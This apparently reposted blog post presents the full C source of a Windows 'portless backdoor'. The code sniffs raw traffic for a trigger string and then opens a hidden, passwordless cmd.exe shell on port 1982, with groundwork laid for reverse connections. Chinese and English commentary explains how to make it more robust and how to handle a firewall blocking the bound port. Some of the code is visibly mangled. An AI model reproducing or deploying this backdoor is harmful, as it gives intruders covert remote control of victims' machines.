PortLess BackDoor

PortLess BackDoor(Source Code)

这里的代码是演示了一下小榕那个BIT后门的原理.代码写得比较马虎,对于shell里的输
入输出没有认真看过,只是用最少的代码弄了个可用的代码出来,得到shell后输入命令
可以要两次回车才有反应(有兴趣者自己修改一下代码).后门的激活字符串是
wineggdrop,运行后,只要连接到运行了这程序的系统的任何一上打开的端口,输入
wineggdrop,那么就能激活后门,绑在端口1982中,一连接就得到个shell(没有密码验证
的).由于嗅探只是在第一个网卡中进行,如果连接internet的是使用第二个或其它网
卡,那么就会失败.程序是为反向连接也做了准备,反向连接只是向连接的IP的指定端口
进行一个connect的连接,连上后自动打开个cmd的shell.代码已为用户保存了连接者的
IP,要连接上连接者哪个端口和如何进行一个反向连接等等的问题,留待自己解决.最后,
程序只能用于win 2k或以上系统,无驱动的嗅探只能用在win 2k或以上系统,其它
windows都不行的.其它的问题自己看代码解决。程序只是简单的测试了一下,如果有什
么问题,也是自己解决.如果用这些代码做坏事,那与我无关.如果将代码转载,最好是保
留完整.

码://**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

// Some Structures To Define
#define  IP_HDRINCL        2
#define SIO_RCVALL         _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN    65535
#define MAX_ADDR_LEN     16
#define MAX_HOSTNAME_LAN    255

typedef struct _iphdr
{
   unsigned char  h_lenver;
   unsigned char  tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char  ttl;
   unsigned char  proto;
   unsigned short checksum;
   unsigned int   sourceIP;
   unsigned int   destIP;
}IP_HEADER;

typedef&struct _tcphdr
{
   USHORT th_sport;
   USHORT th_dport;
   unsigned int  th_seq;
   unsigned int  th_ack;
   unsigned char th_lenres;
   unsigned char th_flag;
   USHORT th_win;
   USHORT th_sum;
   USHORT th_urp;
}TCP_HEADER;
// End Of Structure

// Global Variable
char SourceIPAddress[MAX_ADDR_LEN];    // Hold The Source IP(This Can Be
Used To Do Reverse Connection)
int  BackDoorPort = 0;     // The Port Back Door Will Bind

// Function ProtoType Declaration
//---------------------------------------------------------------------------
---------------------------
BOOL   InitSocket();
BOOL   DoSniffing();
BOOL   DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL   DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL   IsWin2KOrAbove();
DWORD  WINAPI StartBackDoor(LPVOID Para);
BOOL   GetABackDoorShell(const SOCKET ListenSocket);
BOOL     SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize);
//---------------------------------------------------------------------------
---------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove())    // This System Running This Program Is Not Win 2K
Or Above
{
    printf("The Program Must Run Under Win 2k Or Above OS/n");    // Display
This Message
    return -1;    // Quit The Program
}

if (argc == 2)      // We Get Argument
    BackDoorPort = atoi(argv[1]);      // Argument One Is The Back Door's
Port
else    // No Argument
    BackDoorPort = 1982;      // Back Door's Port Will Be Defined On 1982

if (!InitSocket())     // Fail To Initize Socket
{
    printf("Fail To Start Up Winsock/n");    // Display Error Message
    return -1;    // Quit The Program
}
DoSniffing();    // Do Sniffing
return 0;     // Quit The Program
}// End Of Main Function

//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters:  NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
WSADATA data;
WORD ver;

ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
     return FALSE;
}
return TRUE;
}// End Of InitSocket Function

//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0;    // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = ;     // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET;    // Raw Socket

SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);    // Create A Raw
Socket
if (SocketRaw == INVALID_SOCKET)      // Fail To Create A Raw Socket
{
    printf("Fail To Create A Raw Socket/n");    // Display Error Message
    return FALSE;    // Return False
}

char FAR name[MAX_HOSTNAME_LAN];

if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR)      // Fail To Get
The Host Name
{
    printf("Fail To Get Host Name/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket Created
    return FALSE;    // Return False
}

// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent));    // Allocate
Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET;     // That's Internet Related
sa.sin_port = htons(0);      // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0)    // We Only Check The First NIC
{
    memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent-
>h_length);    // We Use The First NIC As The Sniffing Subject
}
else    // Well,The First NIC Is Not Valid
{
    printf("Get Host By Name Fails/n");      // Display Error Message
    free(pHostent);     // Free The Hostent Buffer
    closesocket(SocketRaw);
    return FALSE;    // Return FALSE;
}
free(pHostent);     // Free The Hostent Buffer

if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR)    // Bind
The Raw Socket On The First NIC,But Fails
{
    printf("Fail To Bind/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket
    return FALSE;    // Return False
}

// Forget About The Below A Few Lines,They Are Just A Static Routine To Do
The None_Driver Sniffing(Some Sort Of Must-Have Codes)
DWORD dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0 ;

if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof
(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL ,
NULL) == SOCKET_ERROR)
{
    closesocket(SocketRaw);
    return FALSE;
}

while(TRUE)      // Sniffing Starts Here With Forever Loop
{
    memset(RecvBuf, 0, sizeof(RecvBuf));     // Reset The Receive Buffer
     Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0);    // Try To
Receive Data
    if (Length == SOCKET_ERROR)     // Get Error As Receiving Data
    {
       printf("Fail To Receive Data/n");     // Display Error Message
       break;     // Leave The Loop
    }
    if (DecodeIPPack(RecvBuf,Length))     // Decode The Buffer Received,And
The Active Code Is Found
    {
       printf("Bingo,The BackDoor Is Activated On Port %
d/n",BackDoorPort);      //We Are Going To Activate The BackDoor
       DWORD dwThreadID;
       HANDLE BackDoorThread = CreateThread
(NULL,0,&StartBackDoor,NULL,0,&dwThreadID);    // Create The Back Door
Thread
       WaitForSingleObject(BackDoorThread,INFINITE);     // Wait Until The
Back Door Ends
    }
}

closesocket(SocketRaw);      // Close The Raw Socket
return TRUE;     // Return
}// End Of DoSniffing Function

//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters:  1.const char *Buffer   -->The Received Buffer
//              2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader;     // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer;      // Transfer The Buffer Into IP Header
Form
int Protocol = pIpheader->proto;      // Get The Protocol
if ((Protocol != IPPROTO_TCP))     // Not TCP Protocol
{
    return FALSE;    // Return False Since We Only Interest In TCP Protocol
}

saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);     //
Get The Source IP(Important For Doing Reverse Connection)

int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);    //
Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize);      // Decode TCP Packer
}// End Of DecodeIPPack Function

//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters:  1.const char *TCPBuffer  -->The TCP Buffer
//              2.Const int BufferSize   -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader;     // TCP Header
int iSourcePort,iDestPort;      // Source Port And DestPort

pTcpHeader = (TCP_HEADER * )TCPBuffer;      // Transfer The Buffer Into TCP
Header Form
int TcpHeaderLen =  pTcpHeader->th_lenres>>4;     // Get The TCP Leader
Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen;      // Get The TCP Data

iSourcePort = ntohs(pTcpHeader->th_sport);     // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport);    // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL)     // If The TCP Data Contains A
Word "wineggdrop"(The Active Code),Then Bingo
{
    printf("%s:%d-->Local:%
d/r/n",SourceIPAddress,iSourcePort,iDestPort);     // Display A Message
    return TRUE;     // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE;    // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function

//-------------------------------------------------------------------------
// Purpose: To Check The OS
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx(&OSVersionInfo))     // Get The OS Version
     return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) &&
(OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above
OS
else
    return FALSE;    // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function

//---------------------------------------------------------------------------
-----
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters:  1.const SOCKET ClientSocket    --> The Socket To Send
Message
//              2.const char *Message          --> Message To Send
//---------------------------------------------------------------------------
-----
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket

//---------------------------------------------------------------------------
-----
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters:  LPVOID Para    --> Can Be AnyThing
//---------------------------------------------------------------------------
-----
DWORD WINAPI StartBackDoor(LPVOID Para)
{
struct sockaddr_in srv;
SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    //
Create A TCP Socket

if (ListenSocket == INVALID_SOCKET)      // Fail To Create A TCP Socket
{
    printf("Fail To Create A BackDoor Socket/n");     // Display Error
Message
    return -1;    // Return
}

srv.sin_family = AF_INET;    // Internet Related
srv.sin_addr.s_addr = htonl(INADDR_ANY);    // Any Address
srv.sin_port = htons(BackDoorPort);      // Back Door Port

if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) ==
INVALID_SOCKET)     // Fail To Bind The Socket
{
    printf("Fail To Bind BackDoor Sokcet/n");      // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
}

if (listen(ListenSocket,1) == INVALID_SOCKET)     // Fail To Listen On The
Back Door's Port
{
     printf("Fail To Listen/n");    // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
}

SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL);     // Accepting
Connections
if (AcceptSocket == INVALID_SOCKET)      // Fail To Accept Connection
{
    printf("Fail To Accept Connection/n");      // Display Error Message
    closesocket(ListenSocket);      // Close The Socket
    return -1;    // Return
}

GetABackDoorShell(AcceptSocket);      // Get A CMD Shell
closesocket(AcceptSocket);      // Close Accpeted Socket
closesocket(ListenSocket);      // Close The Listen Socket
return 0;     // Return
}// End Of StartBackDoor Function

//---------------------------------------------------------------------------
-----
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters:  const SOCKET ListenSocket   --> The Client Connected Socket
//---------------------------------------------------------------------------
-----
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
char ReceiveBuffer[MAX_PATH + 1];     // The Receive Buffer
char SendBuffer[1024 * 4];      // The Send Buffer

unsigned long OutputLength,InputLength;     // The Input And Output Length

// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;

SECURITY_ATTRIBUTES sa                 = ;
STARTUPINFO         si                 = ;
PROCESS_INFORMATION pi                 = ;

ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))      // Get System Directory
{
    strcat(ReceiveBuffer,"/cmd.exe");    // Get The Cmd.exe Full Path
}
else    // Fail To Get System Directory
{
    SendSocket(ListenSocket,"Fail To Get System Diretory/r/n");      //
Display Error Message
    return FALSE;    // Return
}

// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));

if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))      // Fail To Create
Client Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create Client Read Pipe/r/n");     //
Display Error Message
    goto CleanUP;    // Leave
}

if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))      // Fail To Create
Cmd Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create CMD Read Pipe/r/n");     //
Display Error Message
    goto CleanUP;    // Leave
}

// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags     = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

si.hStdInput = CmdReadPipe;     // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe;    // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe;      // Pass The CmdWritePipe To StdOutput

if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL,
NULL,&si,&pi))     // Fail To Create A Cmd Shell Process
{
    SendSocket(ListenSocket,"Fail To Create Process/r/n");     // Display
Error Message
    goto CleanUP;    // Leave
}

while(TRUE)      // Shell Commincation Starts Here
{
    if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof
(SendBuffer),&OutputLength,NULL,NULL))      // Fail To Get Data From The
Pipe
    {
       SendSocket(ListenSocket,"Fail To Peek Name Pipe/r/n");     // Display
Error Message
         break;      // Leave
    }
     if (OutputLength > 0)    // Get Data From The Pipe Successfully
    {
       ZeroMemory(SendBuffer,sizeof(SendBuffer));     // Reset The Send
Buffer
         if (!ReadFile
(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))     //Fail To Read
The Data
       {
          SendSocket(ListenSocket,"Fail To Read File/r/n");    // Display
Error Message
          break;     // Leave
       }
         if (send(ListenSocket,SendBuffer,OutputLength,0) ==
SOCKET_ERROR)    // Fail To Send The Data
       {
          printf("Fail To Send Buffer/n");      // Display Error Message
          break;     // Leave
       }
    }
    else
    {
       ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));     // Reset Receive
Buffer
       InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer,
sizeof(ReceiveBuffer));    // Receive Input From Client
       if (InputLength == SOCKET_ERROR)      // Fail To Receive Data
       {
          printf("Fail To Receive Buffer/n");      // Display Error Message
          break;     // Leave
       }

         if (!WriteFile
(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))     // Fail To
Write The Received Data To The Pipe
       {
          printf("Fail To Write File/n");    // Display Error Message
          break;     // Leave
       }

       // Leave The Shell
       if (strnicmp((char*)ReceiveBuffer, "exit/r/n", 6) == 0 || strnicmp
((char*)ReceiveBuffer, "exit/r", 5)==0 || strnicmp((char*)
ReceiveBuffer, "exit/n", 5)==0)
         break;
    }
}

// Clean All Resource Allocated
CleanUP:
        if (CmdReadPipe != NULL)
           CloseHandle(CmdReadPipe);
      if (CmdWritePipe != NULL)
           CloseHandle(CmdWritePipe);
      if (ClientReadPipe != NULL)
           CloseHandle(ClientReadPipe);
      if (ClientWritePipe)
           CloseHandle(ClientWritePipe);
  return TRUE;
}// End Of GetABackDoorShell Function

//---------------------------------------------------------------------------
-----
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket   --> The Client Connected Socket
//             2.char *Buffer                --> Buffer To Hold Data
Received
//             3.const int BufferSize        --> The Buffer Size
//---------------------------------------------------------------------------
-----
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize)
{
ZeroMemory(Buffer,BufferSize);     // Reset The Buffer

if (BufferSize < 2)    // Buffer Size Is Less Then 2
{
     return 0;    // Dump
}

unsigned int CharacterCount = 0;

while(TRUE)
{
    if (CharacterCount >= BufferSize)     // The Characters Received Is
Bigger Or Equal The Buffer Size
    {
       // Give The Buffer An Enter
       Buffer[BufferSize-2] = '/r';
       Buffer[BufferSize-1] = '/n';
         return CharacterCount;     // Return The Characters Received
    }

     if (recv(ClientSocket,Buffer+CharacterCount,1,0) ==
SOCKET_ERROR)     // Fail To Receive Data
    {
       return SOCKET_ERROR;      // Return Error
    }

     if (Buffer[CharacterCount] == 'b')     // Back Space Detected
    {
       Buffer[CharacterCount] = '';     // Skip It
         if (CharacterCount > 0)    // Characters Received Is Bigger Than 0
       {
          CharacterCount--;      // Decrease One Character
             Buffer[CharacterCount] = '';
       }
         continue;      // Begin A New Loop
    }

     if (Buffer[CharacterCount++] == '/n')      // Enter Is Detected
    {
       return CharacterCount;    // Return The Characters Received
    }
}
return 0;     // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File
?>


Some people have mailed me asking why the code doesn't work or is unable to
compile. The answer is that the above code only demonstrates how to code
some backdoor similiar to BITS or portless; it is not a complete working
backdoor source code. If you want to make it work as you perfer, you need to
study ,re-write the source code in order to perfect it.

The source code only supports linear connection(only allow one connection at
once no matter normal shell or reverse shell methods),but you can change it
to non-linear. The easiler solution to convert it to
non-linear is to remove the line WaitForSingleObject(). Then,of course,you
have to handle the multi-thread
problem, at least you get to control how many threads allowe to be created
if you don't want your backdoor to create like 100 threads(it means the
backdoor locally binds on 100 different ports in normal shell mode). For
reverse shell mode,it's not a big problem since revrese shell use connect()
to create a reverse shell. If the connection fails,the thread will end.
Thus,if you prefer the non-linear approach, you have to work with the
problems generated in createing normal shell threads.

For linear approach,there is,still, a problem to be solved.Assume a user
successfully activates the backdoor in normal mode(the backdoor will bind on
a local port specified through the user's active string and the backdoor
will stop sniffing from now on until the normal shell thread is ended), if
the system has some sort of firewall or secure setting block the port on
which the backdoor has binded, connections to that port will all fails,which
means the backdoor will stop working(due to the linear approach,the sniffing
will stop as soon as normal shell or reverse shell thread is created. If the
thread never ends, the sniffing keeps still until the created thread is
terminated). To solve this problem,you can simply create a timeout-checking
thread before creating the normal shell thread. In some time period such as
2 minutes,if there is
no connection to the normal shell,the timeout-checking thread will terminate
the normal shell thread.I don't recommend using TerminateThread() to end a
thread because it's not safe in many aspects.

To sum up, whatever linear or non-linear approach, the problem is all about
normal shell mode.To make your own backdoor work better,you get to put your
effort on it. 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值